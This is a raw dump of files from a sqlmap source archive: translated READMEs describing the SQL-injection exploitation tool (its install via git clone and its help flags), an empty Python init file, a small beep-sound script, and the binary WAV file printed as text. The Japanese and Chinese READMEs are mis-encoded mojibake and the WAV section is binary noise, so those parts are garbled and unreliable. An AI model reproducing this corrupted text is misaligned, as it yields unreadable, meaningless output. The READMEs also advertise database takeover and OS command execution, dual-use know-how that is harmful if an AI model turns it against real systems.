å¼·åŠ›ãªæ¤œå‡ºã‚¨ãƒ³ã‚¸ãƒ³ã€ãƒšãƒãƒˆãƒ¬ãƒ¼ã‚·ãƒ§ãƒ³ãƒ†ã‚¹ã‚¿ãƒ¼ã®ãŸã‚ã®å¤šãã®ãƒ‹ãƒƒãƒæ©Ÿèƒ½ã€æŒç¶šçš„ãªãƒ‡ãƒ¼ã‚¿ãƒ™ãƒ¼ã‚¹ã®ãƒ•ィンガープリンティングã‹ã‚‰ã€ãƒ‡ãƒ¼ã‚¿ãƒ™ãƒ¼ã‚¹ã®ãƒ‡ãƒ¼ã‚¿å–得やアウトオブãƒãƒ³ãƒ‰æŽ¥ç¶šã‚’介ã—ãŸã‚ªãƒšãƒ¬ãƒ¼ãƒ†ã‚£ãƒ³ã‚°ãƒ»ã‚·ã‚¹ãƒ†ãƒ ä¸Šã§ã®ã‚³ãƒžãƒ³ãƒ‰å®Ÿè¡Œã€ãƒ•ァイルシステムã¸ã®ã‚¢ã‚¯ã‚»ã‚¹ãªã©ã®åºƒç¯„囲ã«åŠã¶ã‚¹ã‚¤ãƒƒãƒã‚’æä¾›ã—ã¾ã™ã€‚ スクリーンショット ---- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) wikiã«è¼‰ã£ã¦ã„ã‚‹ã„ãã¤ã‹ã®æ©Ÿèƒ½ã®ãƒ‡ãƒ¢ã‚’スクリーンショットã§è¦‹ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚ [スクリーンショット集](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) インストール ---- 最新ã®tarballã‚’ [ã“ã¡ã‚‰](https://github.com/sqlmapproject/sqlmap/tarball/master) ã‹ã‚‰ã€æœ€æ–°ã®zipballã‚’ [ã“ã¡ã‚‰](https://github.com/sqlmapproject/sqlmap/zipball/master) ã‹ã‚‰ãƒ€ã‚¦ãƒ³ãƒ­ãƒ¼ãƒ‰ã§ãã¾ã™ã€‚ [Git](https://github.com/sqlmapproject/sqlmap) レãƒã‚¸ãƒˆãƒªã‚’クローンã—ã¦ã€sqlmapをダウンロードã™ã‚‹ã“ã¨ã‚‚å¯èƒ½ã§ã™ã€‚: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmapã¯ã€ [Python](http://www.python.org/download/) ãƒãƒ¼ã‚¸ãƒ§ãƒ³ **2.6.x** ã¾ãŸã¯ **2.7.x** ãŒã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ã•れã¦ã„れã°ã€å…¨ã¦ã®ãƒ—ラットフォームã§ã™ãã«ä½¿ç”¨ã§ãã¾ã™ã€‚ 使用法 ---- 基本的ãªã‚ªãƒ—ションã¨ã‚¹ã‚¤ãƒƒãƒã®ä½¿ç”¨æ³•をリストã™ã‚‹ã«ã¯: python sqlmap.py -h å…¨ã¦ã®ã‚ªãƒ—ションã¨ã‚¹ã‚¤ãƒƒãƒã®ä½¿ç”¨æ³•をリストã™ã‚‹ã«ã¯: python sqlmap.py -hh 実行例を [ã“ã¡ã‚‰](https://asciinema.org/a/46601) ã§è¦‹ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚ sqlmapã®æ¦‚è¦ã€æ©Ÿèƒ½ã®ä¸€è¦§ã€å…¨ã¦ã®ã‚ªãƒ—ションやスイッãƒã®ä½¿ç”¨æ³•を例ã¨ã¨ã‚‚ã«ã€ [ユーザーマニュアル](https://github.com/sqlmapproject/sqlmap/wiki/Usage) ã§ç¢ºèªã™ã‚‹ã“ã¨ãŒã§ãã¾ã™ã€‚ リンク ---- * ホームページ: http://sqlmap.org * ダウンロード: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * コミットã®RSSフィード: https://github.com/sqlmapproject/sqlmap/commits/master.atom * 課題管ç†: https://github.com/sqlmapproject/sqlmap/issues * ユーザーマニュアル: https://github.com/sqlmapproject/sqlmap/wiki * よãã‚ã‚‹è³ªå• (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * Twitter: [@sqlmap](https://twitter.com/sqlmap) * デモ: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) * スクリーンショット: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots sqlmap-1.2.4/doc/translations/README-pl-PL.md000066400000000000000000000060561326012263700205130ustar00rootroot00000000000000# sqlmap [![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap to open sourceowe narzÄ™dzie do testów penetracyjnych, które automatyzuje procesy detekcji, przejmowania i testowania odpornoÅ›ci serwerów SQL na podatność na iniekcjÄ™ niechcianego kodu. Zawiera potężny mechanizm detekcji, wiele niszowych funkcji dla zaawansowanych testów penetracyjnych oraz szeroki wachlarz opcji poczÄ…wszy od identyfikacji bazy danych, poprzez wydobywanie z nich danych, a nawet pozwalajÄ…cuch na dostÄ™p do systemu plików o uruchamianie poleceÅ„ w systemie operacyjnym serwera poprzez niestandardowe połączenia. Zrzuty ekranowe ---- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) Możesz odwiedzić [kolekcjÄ™ zrzutów](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstruujÄ…cÄ… na wiki niektóre możliwoÅ›ci. Instalacja ---- Najnowsze tarball archiwum jest dostÄ™pne po klikciÄ™ciu [tutaj](https://github.com/sqlmapproject/sqlmap/tarball/master) lub najnowsze zipball archiwum po klikniÄ™ciu [tutaj](https://github.com/sqlmapproject/sqlmap/zipball/master). Można również pobrać sqlmap klonujÄ…c rezozytorium [Git](https://github.com/sqlmapproject/sqlmap): git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev do użycia sqlmap potrzebny jest [Python](http://www.python.org/download/) w wersji **2.6.x** lub **2.7.x** na dowolnej platformie systemowej. Sposób użycia ---- Aby uzyskać listÄ™ podstawowych funkcji i parametrów użyj polecenia: python sqlmap.py -h Aby uzyskać listÄ™ wszystkich funkcji i parametrów użyj polecenia: python sqlmap.py -hh PrzykÅ‚adowy wynik dziaÅ‚ania dostÄ™pny [tutaj](https://asciinema.org/a/46601). Aby uzyskać listÄ™ wszystkich dostÄ™pnych fukcji, parametrów i opisów ich dziaÅ‚ania wraz z przykÅ‚adami użycia sqlnap proponujemy odwiedzić [instrukjcÄ™ użytkowania](https://github.com/sqlmapproject/sqlmap/wiki/Usage). OdnoÅ›niki ---- * Strona projektu: http://sqlmap.org * Pobieranie: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Raportowanie błędów: https://github.com/sqlmapproject/sqlmap/issues * Instrukcja użytkowania: https://github.com/sqlmapproject/sqlmap/wiki * CzÄ™sto zadawane pytania (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * Twitter: [@sqlmap](https://twitter.com/sqlmap) * Dema: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) * Zrzuty ekranowe: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots sqlmap-1.2.4/doc/translations/README-pt-BR.md000066400000000000000000000060051326012263700205050ustar00rootroot00000000000000# sqlmap [![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap é uma ferramenta de teste de penetração de código aberto que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de penetração por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional. Imagens ---- ![Imagem](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) Você pode visitar a [coleção de imagens](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) que demonstra alguns dos recursos apresentados na wiki. Instalação ---- Você pode baixar o arquivo tar mais recente clicando [aqui] (https://github.com/sqlmapproject/sqlmap/tarball/master) ou o arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master). De preferência, você pode baixar o sqlmap clonando o repositório [Git](https://github.com/sqlmapproject/sqlmap): git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap funciona em [Python](http://www.python.org/download/) nas versões **2.6.x** e **2.7.x** em todas as plataformas. Como usar ---- Para obter uma lista das opções básicas faça: python sqlmap.py -h Para obter a lista completa de opções faça: python sqlmap.py -hh Você pode encontrar alguns exemplos [aqui](https://asciinema.org/a/46601). Para ter uma visão geral dos recursos do sqlmap, lista de recursos suportados e a descrição de todas as opções, juntamente com exemplos, aconselhamos que você consulte o [manual do usuário](https://github.com/sqlmapproject/sqlmap/wiki). Links ---- * Homepage: http://sqlmap.org * Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ou [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * Manual do Usuário: https://github.com/sqlmapproject/sqlmap/wiki * Perguntas frequentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * Twitter: [@sqlmap](https://twitter.com/sqlmap) * Demonstrações: [#1](http://www.youtube.com/user/inquisb/videos) e [#2](http://www.youtube.com/user/stamparm/videos) * Imagens: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots sqlmap-1.2.4/doc/translations/README-tr-TR.md000066400000000000000000000055531326012263700205400ustar00rootroot00000000000000# sqlmap [![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap sql injection açıklarını otomatik olarak tespit ve istismar etmeye yarayan açık kaynak bir penetrasyon aracıdır. sqlmap geliÅŸmiÅŸ tespit özelliÄŸinin yanı sıra penetrasyon testleri sırasında gerekli olabilecek bir çok aracı, -uzak veritabınınından, veri indirmek, dosya sistemine eriÅŸmek, dosya çalıştırmak gibi - iÅŸlevleri de barındırmaktadır. Ekran görüntüleri ---- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) İsterseniz özelliklerin tanıtımının yapıldığı [collection of screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) sayfasını ziyaret edebilirsiniz. Kurulum ---- [Buraya](https://github.com/sqlmapproject/sqlmap/tarball/master) tıklayarak en son sürüm tarball'ı veya [buraya](https://github.com/sqlmapproject/sqlmap/zipball/master) tıklayarak zipbal'ı indirebilirsiniz. Veya tercihen, [Git](https://github.com/sqlmapproject/sqlmap) reposunu klonlayarak indirebilirsiniz git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap [Python](http://www.python.org/download/) sitesinde bulunan **2.6.x** and **2.7.x** versiyonları ile bütün platformlarda çalışabilmektedir. Kullanım ---- Bütün basit seçeneklerin listesini gösterir python sqlmap.py -h Bütün seçenekleri gösterir python sqlmap.py -hh Program ile ilgili örnekleri [burada](https://asciinema.org/a/46601) bulabilirsiniz. Daha fazlası içinsqlmap'in bütün açıklamaları ile birlikte bütün özelliklerinin, örnekleri ile bulunduÄŸu [manuel sayfamıza](https://github.com/sqlmapproject/sqlmap/wiki/Usage) bakmanızı tavsiye ediyoruz Links ---- * Anasayfa: http://sqlmap.org * İndirme baÄŸlantıları: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Commitlerin RSS beslemeleri: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Hata takip etme sistemi: https://github.com/sqlmapproject/sqlmap/issues * Kullanıcı Manueli: https://github.com/sqlmapproject/sqlmap/wiki * Sıkça Sorulan Sorular(SSS): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * Twitter: [@sqlmap](https://twitter.com/sqlmap) * Demolar: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) * Ekran görüntüleri: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots sqlmap-1.2.4/doc/translations/README-zh-CN.md000066400000000000000000000054021326012263700205000ustar00rootroot00000000000000# sqlmap [![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap 是一个开æºçš„æ¸—逿µ‹è¯•工具,å¯ä»¥ç”¨æ¥è‡ªåŠ¨åŒ–çš„æ£€æµ‹ï¼Œåˆ©ç”¨SQLæ³¨å…¥æ¼æ´žï¼ŒèŽ·å–æ•°æ®åº“æœåŠ¡å™¨çš„æƒé™ã€‚它具有功能强大的检测引擎,针对å„ç§ä¸åŒç±»åž‹æ•°æ®åº“çš„æ¸—é€æµ‹è¯•çš„åŠŸèƒ½é€‰é¡¹ï¼ŒåŒ…æ‹¬èŽ·å–æ•°æ®åº“中存储的数æ®ï¼Œè®¿é—®æ“作系统文件甚至å¯ä»¥é€šè¿‡å¤–带数æ®è¿žæŽ¥çš„æ–¹å¼æ‰§è¡Œæ“作系统命令。 演示截图 ---- ![截图](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) ä½ å¯ä»¥è®¿é—® wiki上的 [截图](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) 查看å„ç§ç”¨æ³•的演示 安装方法 ---- ä½ å¯ä»¥ç‚¹å‡» [这里](https://github.com/sqlmapproject/sqlmap/tarball/master) 下载最新的 `tar` 打包的æºä»£ç  或者点击 [这里](https://github.com/sqlmapproject/sqlmap/zipball/master)下载最新的 `zip` 打包的æºä»£ç . 推è你从 [Git](https://github.com/sqlmapproject/sqlmap) ä»“åº“èŽ·å–æœ€æ–°çš„æºä»£ç : git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap å¯ä»¥è¿è¡Œåœ¨ [Python](http://www.python.org/download/) **2.6.x** å’Œ **2.7.x** 版本的任何平å°ä¸Š 使用方法 ---- 通过如下命令å¯ä»¥æŸ¥çœ‹åŸºæœ¬çš„用法åŠå‘½ä»¤è¡Œå‚æ•°: python sqlmap.py -h 通过如下的命令å¯ä»¥æŸ¥çœ‹æ‰€æœ‰çš„用法åŠå‘½ä»¤è¡Œå‚æ•°: python sqlmap.py -hh ä½ å¯ä»¥ä»Ž [这里](https://asciinema.org/a/46601) 看到一个sqlmap 的使用样例。除此以外,你还å¯ä»¥æŸ¥çœ‹ [使用手册](https://github.com/sqlmapproject/sqlmap/wiki/Usage)。获å–sqlmap所有支æŒçš„特性ã€å‚æ•°ã€å‘½ä»¤è¡Œé€‰é¡¹å¼€å…³åŠè¯´æ˜Žçš„使用帮助。 链接 ---- * 项目主页: http://sqlmap.org * æºä»£ç ä¸‹è½½: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * RSS 订阅: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * 使用手册: https://github.com/sqlmapproject/sqlmap/wiki * 常è§é—®é¢˜ (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * Twitter: [@sqlmap](https://twitter.com/sqlmap) * 教程: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) * 截图: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots sqlmap-1.2.4/extra/000077500000000000000000000000001326012263700141405ustar00rootroot00000000000000sqlmap-1.2.4/extra/__init__.py000066400000000000000000000002221326012263700162450ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ pass sqlmap-1.2.4/extra/beep/000077500000000000000000000000001326012263700150535ustar00rootroot00000000000000sqlmap-1.2.4/extra/beep/__init__.py000066400000000000000000000002221326012263700171600ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ pass sqlmap-1.2.4/extra/beep/beep.py000066400000000000000000000047661326012263700163550ustar00rootroot00000000000000#!/usr/bin/env python """ beep.py - Make a beep sound Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import os import subprocess import sys import wave BEEP_WAV_FILENAME = os.path.join(os.path.dirname(__file__), "beep.wav") def beep(): try: if subprocess.mswindows: _win_wav_play(BEEP_WAV_FILENAME) elif sys.platform == "darwin": _mac_beep() elif sys.platform == "linux2": _linux_wav_play(BEEP_WAV_FILENAME) else: _speaker_beep() except: _speaker_beep() def _speaker_beep(): sys.stdout.write('\a') # doesn't work on modern Linux systems try: sys.stdout.flush() except IOError: pass def _mac_beep(): import Carbon.Snd Carbon.Snd.SysBeep(1) def _win_wav_play(filename): import winsound winsound.PlaySound(filename, winsound.SND_FILENAME) def _linux_wav_play(filename): for _ in ("aplay", "paplay", "play"): if not os.system("%s '%s' 2>/dev/null" % (_, filename)): return import ctypes PA_STREAM_PLAYBACK = 1 PA_SAMPLE_S16LE = 3 BUFFSIZE = 1024 class struct_pa_sample_spec(ctypes.Structure): _fields_ = [("format", ctypes.c_int), ("rate", ctypes.c_uint32), ("channels", ctypes.c_uint8)] pa = ctypes.cdll.LoadLibrary("libpulse-simple.so.0") wave_file = wave.open(filename, "rb") pa_sample_spec = struct_pa_sample_spec() pa_sample_spec.rate = wave_file.getframerate() pa_sample_spec.channels = wave_file.getnchannels() pa_sample_spec.format = PA_SAMPLE_S16LE error = ctypes.c_int(0) pa_stream = pa.pa_simple_new(None, filename, PA_STREAM_PLAYBACK, None, "playback", ctypes.byref(pa_sample_spec), None, None, ctypes.byref(error)) if not pa_stream: raise Exception("Could not create pulse audio stream: %s" % pa.strerror(ctypes.byref(error))) while True: latency = pa.pa_simple_get_latency(pa_stream, ctypes.byref(error)) if latency == -1: raise Exception("Getting latency failed") buf = wave_file.readframes(BUFFSIZE) if not buf: break if pa.pa_simple_write(pa_stream, buf, len(buf), ctypes.byref(error)): raise Exception("Could not play file") wave_file.close() if pa.pa_simple_drain(pa_stream, ctypes.byref(error)): raise Exception("Could not simple drain") pa.pa_simple_free(pa_stream) if __name__ == "__main__": beep() sqlmap-1.2.4/extra/beep/beep.wav000066400000000000000000001332641326012263700165160ustar00rootroot00000000000000RIFF¬¶WAVEfmt D¬ˆXdataˆ¶‘± ¥b ,+›6BbLžWzR3FI;P0­%ÃÔõ›ùfî䫨g͸٫ë©ÿµmÀ‡ËÖá{ìÃ÷B\ È}#—.|9DsOúVN›CÄ8.ÿ"W¢ Ä ÷ìxà‰ÕãÊâ¿[µ±©å¬v¸ÙÂÚÍÙŸäï+ú—(k>&î0ã;›F SXVóKKA=6£*à + oÿ²óÄèÞ(Ó}È㼚±Ö¨<¯Ëº¼ÅyÑÊÛÿæañÜü1º­(g3w?­I*UBU*I>É2`(=Èæü)ñoæœÛLÐÃÄrº¯é§‚².¾­È¸ÓBÞéõÒÿ‘ q/ ,Ÿ6ÛAþKX1R”EÚ;70/& Z9Èù§îÈãÄ×ÚÍ Â¸M«m©?¶ÀxËâÕ âhì’÷ & ’Ì#/.x9›C%P%XžNÉC9£-H"­¼ Úö;ë¾à¦Õ2Ë׿´X©²¬I¸¤Â½ÎDÙRäæîßùN˜8&€0‚<GîRvV.LA_5ö*ÞW ‹þÑóþè7ÞRÓŽÇݼϱí¨¯»ÆÑÁÛšæòdýÔý[)$4(?ŒIïT×T\HL>÷2(OÚïCü`ñÿå“Ú8ÐñÄǺ’®÷¨ï²Õ½…ȽÓNßóéÕôÿ‰ Kì â+6ˆA M2WRøEï;Ì/%|Yù¶íyãØýÍÂd·p«£©ÓµÀSÌÖÎá6ìj÷ßë |ˆ#.:¢DöOÏXODC#8o-‘"Þ‘ ÿ”öië á†ÕOÊ-¿ü´©c¬D¹IäÎÙ.äïËú5i½Æ&n1«<ÃFõRMV Kä@‹5F+«k Øþûóé:ÝÂÒ Ç;½Â±b¨1°H»ôÅÑÐ]܆çòý¦Kv.)4Ë>âIÍU/T¸Ht>ÿ2Ÿ'À +^ü‚ðåååÚQÐBÅô¹9®%©¸²½ÉPÔëÞâézôñÿP ïÜ „+¸6VBöLÖV#RFô:Ý/S%I²»ùîã„Ø-Í·ÁŠ·í«À©¶îÀÛË“Ö_áŒì0ø©º A€#/Õ9…D™OX\NCŠ8y-ò"B S­öÂëyàéÔ²Ê>¿Pµ?©¶¬¹ÃfÎÙåZï£úòZ™Ú&1˜$È.Ÿ9oD–P>WyNJC¦8Ë,"-k šöÕê_à3ÕàÊû¾&´k©°¬Ç¸KÃ]ψÙÖä(ï—úîéy‹&1C=jGLS5W}K`@÷4—*ný? %þpóŽèä݆ÒÇv¼Ž±0§È¯4¼OƧÑõÛPç¬ò½ýA\Óî)`4¸?²IVCTÍG>r2](fyîûæð æÚ÷Ï`Ä™ºÿ­‹¨´³¾"ɼӪßWê@õ÷ÿÎ `…!,"7˜AqMŠW'QËEh;Þ/‹$Ð77ùhí÷âÔ×iÍÂç¶1«Íª ¶lÀjÌ$×âÄì–÷]Üô#b.:ElP W¶N2C¸7 -,"qu ·ö"ëzàÕóÉܾW´½©ž¬S¹ÝÃçΈÙiä³ï:û›Í'Æ&î1ù 2V'Bº¸´ûÞïµåFÚ2ÐQÄ¡¹{­Ê§|³ï½øÉ~Ôzß$êõ¯¨ \?!ì+Ž7±B[MëWŠQiEn:/Ò$ê-Ìø˜í>ãÎ×ÌWÁ;·«Žªâ¶1Á[ÌáÖàáQí’ø *–^$^/R:ÃDaPÙVšMàBè7R-"‡Ö ø=öKë—ßÌÔÊ-¿f´F©·­;¹«Ã¦ÎÚeåÕïùúc8'À1¨<GÑSèUK@[5Ñ)÷<` ™þÖòþç5ÝbÒ¥Ç ¼À°³¨*°‰»¤ÆAÒ›ÜÆç4ò³ý ÓŽq)I4H@{JÏU‹TIHJ=ü1”'rôCûUð©åÆÚuÏëú¹®$¨’³á¾‰É{ÔßVêàõ’j .!ç,|7ŽBöLdXQéDõ:/O%8ˆqøøÜíèâöÖÍ<ÁÓ·jª0ª·ÉÀEÌ»Öåâ+ígøÎdœ$ö.L:\D/QóW¯MC68Ó,o!ëä XíõzêæßâÔ^Ê¿¡³í¨‹­¹…ÑÏÚ"å ïRûq2Ä&õ1­=ÜG±SV÷J¦?¼4*(^…Ýýóò>è^ÝÂѳƼì°Â¨µ°z¼ÐÆøÑfÜè?óýýЪg*Ô4û?hJ\UcS¹G`=G2¯'Á!xûŽð åÊÙkÏ"Äÿ¹ª­L©Ö³•¾\ÉÔ,à°ê²õJu Â!¤,X7PBÿMrWQCE ;ú.K$L²¿yøíìªâM×0Í'Á–¶®ªKª°¶ëÀ3ÍM×§âöìNø®½?^$Ð.ö:KEQ©XÿMBE7±,¸!¦ >»õ©ê1à·ÔlÉx¾´ˆ¨Q­ºÄpÏÌÙånðŽû ,–ž'<2x=GÉSÅU.J @·4*Éž¿þ+óBè]ÜÒÁƈ¼½°d¨±¼ÌÆšÑDÝFèïòáýz)C÷)Ô4?×JOVqSíG¦=#2Ì&ö?_†û§ï åÚ‹ÏgĹj­r©œ³T¾þÉռ߫êLõÌ" ´²!F,£7CÜMWIQIE:/}$†ÓçOøHí»âª×UÌêÀ¿¶/«[ª ·­Á°ÌY×2âeíùm’j$È/±:=EŒPþWOMZB¤7Á, "7r „õõqê&ßfÔ Éžâ³V¨¶­Þ¹ÙÃcÏÚÊå6ðdûÐìh¢'ì1W=îGõTÜV,Jx@]4)ãõ÷ý$òÏçšÜ:ÒÐÆ–»+°×§ç°ß»ŽÇpÒ(Ýè·òxþk 4Ä))5£@ìJmVÅS¬Gª<º1'+?dùúÕïbå"ÚÆÎ‘Ã[¹u­W©R´0¿ÊÌÔßëUöçæ tú!D-ÿ7ÁBÍM¬V.PÛDF:`/$®{øíñáßÖZÌ4Áä¶Æª†« ·xÁp̱×8ã íÅø4² Í$”/o:AE|QW‹M”B¿7ý+7!bŸ É2õê…ßtÔÊ+¾F³©­¹.Ä,ÐOÚ©åîïxû¿²JR'ì1!>%H+T®VJ’?&4Î)3Xdý™òÊçÝ­Ñ9ÆÃ»°§á°å¼1ÇcÒÍÜèŒó~þ µ¿*15~@ŠJ»VZSG1=©1'ˆ°±ûð*å8Ù1φÃâ¹ÿ¬©•´Á¾÷Ɍԋàëöº¨ 8T"Ý,ø7WBuN¬W@PE:/¶# )vPøì*âמÌ;Á¶ªv«Õ¶CÁFÍé×çâríûøHôÙ†$´/c;ÈEHQ WMºA7/,k!Þ õÿ?õVêµßóÓÉ%¾w³C© ®}ºxÄáÏÚÃåÿð×ûkU3(ž2Ð=H£SoUóI‘?w4ï) ;\ ýÓòcçÜÑkƼ3°P¨O±’¼ÇaÒÔÝè`ó:þ ñt’*þ4G@UKûV«SAGj=-1‹&uîêÕúïîäqÙpÏgÃ七¬=¨j´µ¾ÞÊ8ÕXààêñõ~| "°,€8]CZNX™PD”9Ï.ü#@eú÷ÐìnâöָˑÀe¶dªE«Á·ôÁ/ͧ׹â*î^ù×ù`G%0,;ELQ›VµL$B 7”,0!¿ 0nõvê·ÞÔ'Év¾n³ö¨‘®ÿ¹|ÄtÏåÚ+æ¨ðÀû5ä Î'“2n=eH‰T_U0JÍ?y4þ(.n’Éýòñ@ç\Ü¢ÑÅÆ@»Û¯¸¨±I¼ÇÓqÝŽèóŽþÜ ˜c4*/5ASKZVÇSlGt<21Ç&£&#úïåäîÙœÎÃù¸+­|¨œ´“¿lÊ3Õóß#ëÁöMH è"¨-]8@CðM¥XPDD:Å.q$cº ¢:ø®ìsáxÖ̵À—¶©«Ü·‹Á/ÍMئãùí8ù‘›IY%Õ/û:ÓE^R˜W¾LtBÕ6‘+Î ý@ )zôâéîÞFÔDÉœ½½²Ÿ¨h®Ë¹$Å_ÐÚÚóåjð7ü6Ë“'Ð2>¥HuT’UJØ>ñ3?)b‚¬ýòzçÜïÐáÅ_»°Ê¨©±;½£ÇÀÒ7Ýáè ôÉþž YŒ5+¢5Ã@AKÙUœRïF<|1Ù&äNO®ú»ïBäÙœÎVÃ2¹Î¬º©¹´X¿,ÊoÕøà}ë€öS äŒ"s-$8#CëN˜W%P‡D/:".~#ƒá ó”÷*ìÕáˆÖ]ÌKÀŵú©«·ÄÁ ÎØãµí5ùyŽ .%/â;öERgXüL¿Ah6ô+Ü ^µ „ÿßôèé[ßàӔȽ½³'¨O®ÎºîÄ6ÐÚÖåKñPüáðpx(3G>ZH’T"UZIX?ç3µ)æÔïGýXòlçƒÛDÑæÅÓ»º¯‚¨²¿¼£ÇfÒ*ÞéÉó¡þU  Ã*¤5Q@ÎKºV¦R%GÖPÄCY9K.¯#¾; Œ÷nì â%ÖOË2Àîµlª’«`¸:³Íê×wãÄîªùVA÷%o0™;ïExQWUL®A·6,j S« ¹ÿõŸéKÞ©ÓÂÈ ¾å²¨¯®˜º¯Ä4Ð|Û‹æ ñ)ü©Ç/t(³2->ÉHÈU'VQI¶?s3»(ª#ýMñç¾ÛÑßÅߺ+¯ü§Ó±¢¼{È%ÓÞÌè•óNÿ9 þÐŽ*6_AÖKàVùRÏFÚ;ò0=&g\•-úï™äIÙíÍɸ¥¬Å©Dµë¿ÛÊ’Õcàôë÷¶² AÛ".Ð8„C²NÅVGO!Dh9¥.–#åG T®÷ªìáÖƒËtÀþµ0ª<¬à·>ÂCÍØänî‘ùþ—ÔŸ%]0<;FSRÒV˜LßA×6.+i ˜Î ýÿKôWé­Þ±Ó,ÉT½i²®¨w®KºÅîÐ#Ûræ»ðVü‘|(Ä2ú>êHøTV¢IÄ>U3)Ìim¬ü·ñç+ÜæÐTÅ»‡¯+§ø±—½È#Ó¤Ýðènô5ÿû Ôžˆ+ 68AwK9WjRZFT<é0µ&ªìÕkúûî®ã¥Ø7ÎèÂÒ¸x«©rµ€¿ÑÊÖháÐëüöd; 3#È-š8ÀCºO£WPOpDL9¨-# 